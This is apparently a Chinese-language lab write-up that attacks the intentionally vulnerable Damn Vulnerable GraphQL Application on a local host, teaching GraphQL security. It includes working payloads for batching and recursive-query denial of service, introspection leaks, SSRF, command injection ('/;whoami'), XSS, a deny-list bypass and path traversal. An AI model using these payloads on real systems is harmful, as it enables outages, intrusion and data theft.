GraphQL 是什么

GraphQL 安全性问题

GitHub - dolevf/Damn-Vulnerable-GraphQL-Application: Damn Vulnerable GraphQL Application is an intentionally vulnerable implementation of Facebook's GraphQL technology, to learn and practice GraphQL Security.

Damn Vulnerable GraphQL Application is an intentionally vulnerable implementation of Facebook's GraphQL technology, to learn and practice GraphQL Security. - GitHub - dolevf/Damn-Vulnerable...

https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application

指纹识别

python3 main.py -d -t http://tari.local:5000

python3 main.py -f -t http://tari.local:5000/graphql

[*] Checking if GraphQL is available at http://tari.local:5000/graphql...[!] Found GraphQL.[*] Attempting to fingerprint...[*] Discovered GraphQL Engine: (Graphene)[!] Attack Surface Matrix: https://github.com/dolevf/graphw00f/blob/main/docs/graphene.md[!] Technologies: Python[!] Homepage: https://graphene-python.org[*] Completed.

拒绝服务 - 未限制批处理

node = graphene.relay.Node.Field()
pastes = graphene.List(PasteObject, public=graphene.Boolean())
paste = graphene.Field(PasteObject, p_id=graphene.String())
system_update = graphene.String()
system_diagnostics = graphene.String(username=graphene.String(), password=graphene.String(), cmd=graphene.String())
system_health = graphene.String()
read_and_burn = graphene.Field(PasteObject, p_id=graphene.Int())

def simulate_load():
  loads = [20, 30, 40, 50]
  count = 0
  limit = random.choice(loads)
  while True:
    time.sleep(0.1)
    count += 1
    if count > limit:
      return

POST /graphql HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 404
Content-Type: application/json

[{"query": "query {\n  systemUpdate\n}", "variables": []}, {"query": "query {\n  systemUpdate\n}", "variables": []},{"query": "query {\n  systemUpdate\n}", "variables": []}, {"query": "query {\n  systemUpdate\n}", "variables": []},{"query": "query {\n  systemUpdate\n}", "variables": []}, {"query": "query {\n  systemUpdate\n}", "variables": []}, {"query": "query {\n  systemUpdate\n}", "variables": []}]

Batching Client GraphQL Queries

Modern apps are chatty—they require a lot of data, and thus make a lot of requests to underlying services to fulfill those needs. Layering GraphQL over your services solves this issue, since it encapsulates multiple requests into a single operation, avoiding the cost of multiple round trips. While GraphQL encourages this style of data fetching, […]

https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/

GraphQL Batching Attack

There is a new attack surface when the app tech stack includes GraphQL. It's Batched Attacks on GraphQL APIs. How can these apps be protected? Read more to find out.

https://lab.wallarm.com/graphql-batching-attack/

拒绝服务 - 深度递归查询

class Owner(db.Model):
  __tablename__ = 'owners'
  ...
  paste = db.relationship('Paste', backref='Owner', lazy='dynamic')

class Paste(db.Model):
  __tablename__ = 'pastes'
  ...
  owner = db.relationship(
    Owner,
    backref='pastes'
  )
  ...

{
    pastes {
        owner {
            paste {
                owner {
                    paste {
                        id
                    }
                }
            }
        }
    }
}

{
    "errors": [
        {
            "message": "Cannot query field \"owner\" on type \"PasteObjectConnection\".",
            "locations": [
                {
                    "line": 5,
                    "column": 17
                }
            ]
        }
    ]
}

In GraphQL what's the meaning of "edges" and "node"?

I am consuming a GraphQL endpoint and I get results that contain edges and node tags. I am supplying a clean JSON structure for my query, so this doesn't make sense to me. It seems as if the GraphQL

https://stackoverflow.com/questions/42622912/in-graphql-whats-the-meaning-of-edges-and-node

Graphene-Python

Graphene framework for Python

https://docs.graphene-python.org/en/latest/relay/nodes/

class PasteObject(SQLAlchemyObjectType):
  p_id = graphene.String(source='id')
  class Meta:
    model = Paste
    interfaces = (graphene.relay.Node, )

Explaining GraphQL Connections

I don’t read many books these days, but I do listen to books. Thanks to the incessant work of the Audible marketing team Amazon has converted me into an audiobook consumer. I’m pretty happy now with my new found hobby that allows me to take a book anywhere and “read” while doing tasks where my […]

https://www.apollographql.com/blog/graphql/explaining-graphql-connections/

{
    pastes {
        owner {
            paste {
                edges {
                    node {
                        id
                    }
                }
            }
        }
    }
}

{
    "data": {
        "pastes": [
            {
                "owner": {
                    "paste": {
                        "edges": [
                            {
                                "node": {
                                    "id": "UGFzdGVPYmplY3Q6MQ=="
                                }
                            }
                        ]
                    }
                }
            }
        ]
    }
}

拒绝服务 - 资源密集型

拒绝服务 - 重复字段填充

query {
  pastes {
  	ipAddr # 1
    ipAddr # 2
    ipAddr # 3
    ipAddr # 4
    ...
    ipAddr # 10,000
  }
}

拒绝服务 - 重命名 bypass

query {
  q1 :systemUpdate
  q2 :systemUpdate
  q3 :systemUpdate
}

def get_fields_from_query(q):
  fields = [k for k in q.split() if k.isalnum()]
  return fields

信息泄漏 - 开启缺省模式

query {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
  }
}

{
  __type (name: "Query") {
    name
    fields {
      name
      type {
        name
        kind
        ofType {
          name
          kind
        }
      }
    }
  }
}

query IntrospectionQuery {
  __schema {
    queryType {
      name
    }
    mutationType {
      name
    }
    subscriptionType {
      name
    }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}

fragment InputValue on __InputValue {
  name
  description
  type {
    ...TypeRef
  }
  defaultValue
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

Why and how to disable introspection query for GraphQL APIs

Intro In the last post, we touched on the topic of GraphQL security. As a reminder, GraphQL is a popular alternative to REST APIs. A single article can

https://lab.wallarm.com/why-and-how-to-disable-introspection-query-for-graphql-apis/

信息泄漏 - 开发环境

信息泄漏 - 字段提示

{
  system
}

{
  "errors": [
    {
      "message": "Cannot query field \"system\" on type \"Query\". Did you mean \"pastes\", \"paste\", \"systemUpdate\" or \"systemHealth\"?",
      "locations": [
        {
          "line": 2,
          "column": 3
        }
      ]
    }
  ]
}

GitHub - nikitastupin/clairvoyance: Obtain GraphQL API schema even if the introspection is disabled

Obtain GraphQL API schema even if the introspection is disabled - GitHub - nikitastupin/clairvoyance: Obtain GraphQL API schema even if the introspection is disabled

https://github.com/nikitastupin/clairvoyance

信息泄漏 - SSRF

mutation {
    importPaste(host: "127.0.0.1", port: 80, path: "/", scheme: "http") {
        result
    }
}

注入类 - 命令 & XSS & HTML注入

mutation {
    importPaste(host: "127.0.0.1", port: 80, path: "/;whoami", scheme: "http") {
        result
    }
}

{
    systemDiagnostics(username: "admin", password: "admin123", cmd: "whoami")
}

['changeme', 'password54321', 'letmein', 'admin123', 'iloveyou', '00000000']

<img src=1 onerror=console.log(1)>

注入类 - 日志欺骗

query pwned {
  systemHealth
}

mutation nonoPaste {
    createPaste (title: "good", content: "oah", public: true, burn: false)
    {
      paste {
          pId
          content
          title
          burn
      }
    }
  }

mutation getPastes {
    createPaste (title: "good", content: "oaaaaah", public: true, burn: false)
    {
      paste {
          pId
          content
          title
          burn
      }
    }
  }

认证绕过 - graphiql 界面保护 bypass

class IGQLProtectionMiddleware(object):
  @run_only_once
  def resolve(self, next, root, info, **kwargs):
    if helpers.is_level_hard():
      raise werkzeug.exceptions.SecurityError('GraphiQL is disabled')

    cookie = request.cookies.get('env')
    if cookie and cookie == 'graphiql:enable':
      return next(root, info, **kwargs)

    raise werkzeug.exceptions.SecurityError('GraphiQL Access Rejected')

查询黑名单 bypass

gql_middlew = [
  middleware.CostProtectionMiddleware(),
  middleware.DepthProtectionMiddleware(),
  middleware.IntrospectionMiddleware(),
  middleware.processMiddleware(),
  # middleware.OpNameProtectionMiddleware()
]

class processMiddleware(object):
  def resolve(self, next, root, info, **kwargs):
    if helpers.is_level_easy():
      return next(root, info, **kwargs)

    array_qry = []

    if info.context.json is not None:
      if isinstance(info.context.json, dict):
        array_qry.append(info.context.json)

      for q in array_qry:
        query = q.get('query', None)
        if security.on_denylist(query):
          raise werkzeug.exceptions.SecurityError('Query is on the Deny List.')

    return next(root, info, **kwargs)

def on_denylist(query):
  normalized_query = ''.join(query.split())
  queries = [
    'query{systemHealth}',
    '{systemHealth}'
  ]

  if normalized_query in queries:
    return True
  return False

query good{
    systemHealth
}

杂项 - 目录穿越

mutation {
  uploadPaste(filename:"../../../../../tmp/file.txt", content:"hi"){
    result
  }
}

总结

玩转graphQL

这是酒仙桥六号部队的第118篇文章-玩转graphQL。全文共计4257个字，预计阅读时长12分钟。

https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ